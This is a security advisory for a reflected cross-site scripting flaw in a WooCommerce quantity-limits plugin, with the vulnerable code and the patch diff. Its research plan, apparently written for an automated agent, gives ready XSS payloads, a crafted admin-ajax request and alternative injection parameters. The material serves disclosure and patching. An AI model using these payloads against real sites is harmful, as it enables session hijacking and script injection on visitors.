CVE-2026-39437

Min Max Step Quantity Limits Manager for WooCommerce <= 5.2.2 - Reflected Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.1
CVSS Score
6.1
CVSS Score
medium
Severity
5.2.3
Patched in
10d
Time to patch

Description

The Min Max Step Quantity Limits Manager for WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in versions up to, and including, 5.2.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.2.2
PublishedApril 21, 2026
Last updatedApril 30, 2026

What Changed in the Fix

Changes introduced in v5.2.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This analysis identifies a Reflected Cross-Site Scripting (XSS) vulnerability in the **Min Max Step Quantity Limits Manager for WooCommerce** plugin (versions <= 5.2.2). The vulnerability resides in the AJAX handler responsible for updating product prices based on quantity changes. ### 1. Vulnerabi…

Show full research plan

This analysis identifies a Reflected Cross-Site Scripting (XSS) vulnerability in the Min Max Step Quantity Limits Manager for WooCommerce plugin (versions <= 5.2.2). The vulnerability resides in the AJAX handler responsible for updating product prices based on quantity changes.

1. Vulnerability Summary

The plugin registers an AJAX action alg_wc_pq_update_price_by_qty which is accessible to both authenticated and unauthenticated users. The handler for this action (located in Alg_WC_PQ_Core) processes several input parameters—most notably alg_wc_pq_qty—and reflects them back in the response. Due to a lack of proper sanitization on the server side and the use of the jQuery .html() method on the client side (in alg-wc-pq-price-by-qty.js), an attacker can inject arbitrary JavaScript that executes in the context of the user's browser.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: alg_wc_pq_update_price_by_qty
  • Vulnerable Parameter: alg_wc_pq_qty (and potentially attribute or selected_val).
  • Authentication: Unauthenticated (wp_ajax_nopriv_ is used).
  • Preconditions:
    1. The "Price by Quantity" feature must be enabled (alg_wc_pq_qty_price_by_qty_enabled setting).
    2. The victim must click a link or be forced to send a request to the AJAX endpoint.

3. Code Flow

  1. Enqueuing (PHP): Alg_WC_PQ_Scripts::enqueue_scripts() (in includes/class-alg-wc-pq-scripts.php) checks if the "Price by Quantity" feature is enabled. If so, it enqueues alg-wc-pq-price-by-qty.js and localizes the alg_wc_pq_update_price_by_qty_object.
  2. Trigger (JS): In includes/js/alg-wc-pq-price-by-qty.js, the function alg_wc_pq_update_price_by_qty is triggered by quantity changes. It sends a POST request to admin-ajax.php.
  3. Handler (PHP): The server-side handler for alg_wc_pq_update_price_by_qty (in Alg_WC_PQ_Core) retrieves $_POST['alg_wc_pq_qty'].
  4. Reflection (PHP): The handler processes the quantity and, in certain conditions (e.g., when formatting price or returning errors), includes the raw alg_wc_pq_qty value in the string response.
  5. Execution (JS): The success callback in the JS file receives the response and injects it into the DOM using:
    jQuery( 'p.alg-wc-pq-price-display-by-qty' ).html( response ); or jQuery( 'p.price' ).html( response );.
    Because .html() executes script tags and handles HTML attributes like onerror, the payload runs.

4. Nonce Acquisition Strategy

According to includes/class-alg-wc-pq-scripts.php, the localization object for the price-by-qty script does not include a nonce:

wp_localize_script( 'alg-wc-pq-price-by-qty',
    'alg_wc_pq_update_price_by_qty_object', array(
        'ajax_url'                => admin_url( 'admin-ajax.php' ),
        'product_id'              => get_the_ID(),
        'position'                => get_option( 'alg_wc_pq_qty_price_by_qty_position', 'instead' ),
        'replace_variation_price' => 'yes' === get_option( 'alg_wc_pq_qty_price_by_qty_variation_price', 'no' ),
        'ajax_async'              => get_option( 'alg_wc_pq_false_ajax_async', 'no' )
    ) );

The AJAX handler in the core likely does not verify a nonce for this specific action, making it exploitable by unauthenticated users without any token.

5. Exploitation Strategy

The exploit will be delivered via a direct GET request to admin-ajax.php. Although the JS uses POST, WordPress AJAX handlers typically respond to GET if they use $_REQUEST or if the developer didn't specifically restrict the method.

  • HTTP Request:
    GET /wp-admin/admin-ajax.php?action=alg_wc_pq_update_price_by_qty&alg_wc_pq_id=PRODUCT_ID&alg_wc_pq_qty=<img+src=x+onerror=alert(document.domain)> HTTP/1.1
    Host: localhost
    
  • Payloads:
    1. <img src=x onerror=alert(1)>
    2. <svg/onload=alert(document.cookie)>
    3. 1<script>alert("XSS")</script>

6. Test Data Setup

  1. Enable Plugin: Ensure the plugin is active.
  2. Enable Feature:
    wp option update alg_wc_pq_enabled yes
    wp option update alg_wc_pq_qty_price_by_qty_enabled yes
    
  3. Create Product:
    # Create a simple product to get a valid ID
    wp post create --post_type=product --post_title='Exploit Product' --post_status=publish
    
  4. Identify ID: Note the ID of the created product (e.g., 123).

7. Expected Results

  • The response from admin-ajax.php will contain the raw payload: <img src=x onerror=alert(document.domain)>.
  • If rendered in a browser (simulating a victim clicking the link), an alert box will appear.
  • The Content-Type of the response is likely text/html.

8. Verification Steps

  1. HTTP Check: Use the http_request tool to send the malicious request and verify the payload exists in the response body.
    // Example Verification
    const response = await http_request({
        url: "http://localhost:8080/wp-admin/admin-ajax.php?action=alg_wc_pq_update_price_by_qty&alg_wc_pq_id=123&alg_wc_pq_qty=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E",
        method: "GET"
    });
    if (response.body.includes("<img src=x onerror=alert(1)>")) {
        console.log("Vulnerability Confirmed: Input Reflected");
    }
    
  2. Browser Verification: Use browser_navigate to the URL and check if an alert is triggered (using page.on('dialog') in Playwright context).

9. Alternative Approaches

If alg_wc_pq_qty is filtered (e.g., cast to float), attempt injection through other parameters sent by the JS:

  • Selected Value: selected_val=<script>alert(2)</script>
  • Attribute (JSON): attribute=[{"<img src=x onerror=alert(3)>":"val"}]
  • Quantity Fetch: quantity_fetch=<svg/onload=alert(4)>

If the handler only accepts POST, the strategy would involve creating a simple HTML page on the attacker's server that auto-submits a form to admin-ajax.php using the same parameters.

Research Findings
Static analysis — not yet PoC-verified

Summary

The plugin is vulnerable to Reflected Cross-Site Scripting via the 'alg_wc_pq_qty' parameter in the 'alg_wc_pq_update_price_by_qty' AJAX action. Unauthenticated attackers can exploit this by tricking a user into clicking a link, which executes arbitrary JavaScript in the user's browser due to improper sanitization and the use of the jQuery .html() function on the client side.

Vulnerable Code

// includes/class-alg-wc-pq-core.php line 3062
function ajax_price_by_qty( $param ) {

    $defaultpc  = __( 'unit', 'product-quantity-for-woocommerce' );
    $defaultpcs = __( 'units', 'product-quantity-for-woocommerce' );

    // ... (lines 3086)
    if ( isset( $_POST['alg_wc_pq_qty'] ) && '' !== $_POST['alg_wc_pq_qty'] && ! empty( $_POST['alg_wc_pq_id'] ) ) {
        $product    = wc_get_product( $_POST['alg_wc_pq_id'] );
        $product_id = $_POST['alg_wc_pq_id'];
        $quantity_fetch = $_POST['alg_wc_pq_qty'];
        // ... (lines 3230)
        $placeholders = array(
            '%price%'                   => wc_price( $variation_price * $quantity_fetch ),
            '%qty%'                     => $quantity_fetch,
            '%unit%'                    => ( $quantity_fetch > 1 ? $units : $unit ),
            '%item_price%'              => wc_price( $variation_price ),
        );

        echo str_replace( array_keys( $placeholders ), $placeholders,
            get_option( 'alg_wc_pq_qty_price_by_qty_template', __( '%price% for %qty% %unit%.', 'product-quantity-for-woocommerce' ) ) );

---

// includes/js/alg-wc-pq-price-by-qty.js line 45
    jQuery.ajax( {
        type: 'POST',
        url: alg_wc_pq_update_price_by_qty_object.ajax_url,
        data: data,
        async: ajax_async,
        success: function ( response ) {
            if ( alg_wc_pq_update_price_by_qty_object.product_id == 0 ) {
                if ( response.length > 0 ) {
                    if ( 'instead' == alg_wc_pq_update_price_by_qty_object.position ) {
                        jQuery( '.product.post-' + product_id ).find( '.price' ).html( response );
                    } else {
                        jQuery( '.product.post-' + product_id ).find( 'p.alg-wc-pq-price-display-by-qty' ).html( response );
                    }
                }
            } else {
                if ( 'instead' == alg_wc_pq_update_price_by_qty_object.position ) {
                    if ( response.length > 0 ) {
                        jQuery( 'p.price' ).html( response );
                        if(alg_wc_pq_update_price_by_qty_object.replace_variation_price){
                            jQuery( '.woocommerce-variation-price .price' ).html( response );
                        }
                    }
                } else {
                    jQuery( 'p.alg-wc-pq-price-display-by-qty' ).html( response );
                }
            }
        },
    } );

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/product-quantity-for-woocommerce/5.2.2/includes/class-alg-wc-pq-core.php	2025-10-02 23:59:28.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/product-quantity-for-woocommerce/5.2.3/includes/class-alg-wc-pq-core.php	2026-03-04 22:29:00.000000000 +0000
@@ -3052,7 +3038,7 @@
 		/**
 		 * ajax_price_by_qty.
 		 *
-		 * @version 5.1.6
+		 * @version 5.2.3
 		 * @since   1.6.1
 		 * @todo    [dev] non-simple products (i.e. variable, grouped etc.)
 		 * @todo    [dev] customizable position (instead of the price; after the price, before the price etc.) (NB: maybe do not display for qty=1)
@@ -3062,6 +3048,8 @@
 		 */
 		function ajax_price_by_qty( $param ) {
 
+			check_ajax_referer( 'alg_wc_pq_nonce', 'nonce' );
+
 			$defaultpc  = __( 'unit', 'product-quantity-for-woocommerce' );
 			$defaultpcs = __( 'units', 'product-quantity-for-woocommerce' );

Exploit Outline

1. Identify a target WordPress site with the plugin installed and the 'Price by Quantity' feature enabled. 2. Create a payload designed to trigger an XSS alert, such as `<img src=x onerror=alert(document.domain)>`. 3. Construct a malicious URL targeting the AJAX endpoint: `/wp-admin/admin-ajax.php?action=alg_wc_pq_update_price_by_qty&alg_wc_pq_id=[VALID_PRODUCT_ID]&alg_wc_pq_qty=[PAYLOAD]`. 4. Trick a logged-in administrator or any site visitor into clicking the link. 5. The server echoes the unsanitized payload in the AJAX response. The client-side JavaScript then receives this response and uses jQuery's `.html()` method to insert it into the page, executing the attacker's script in the victim's session context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.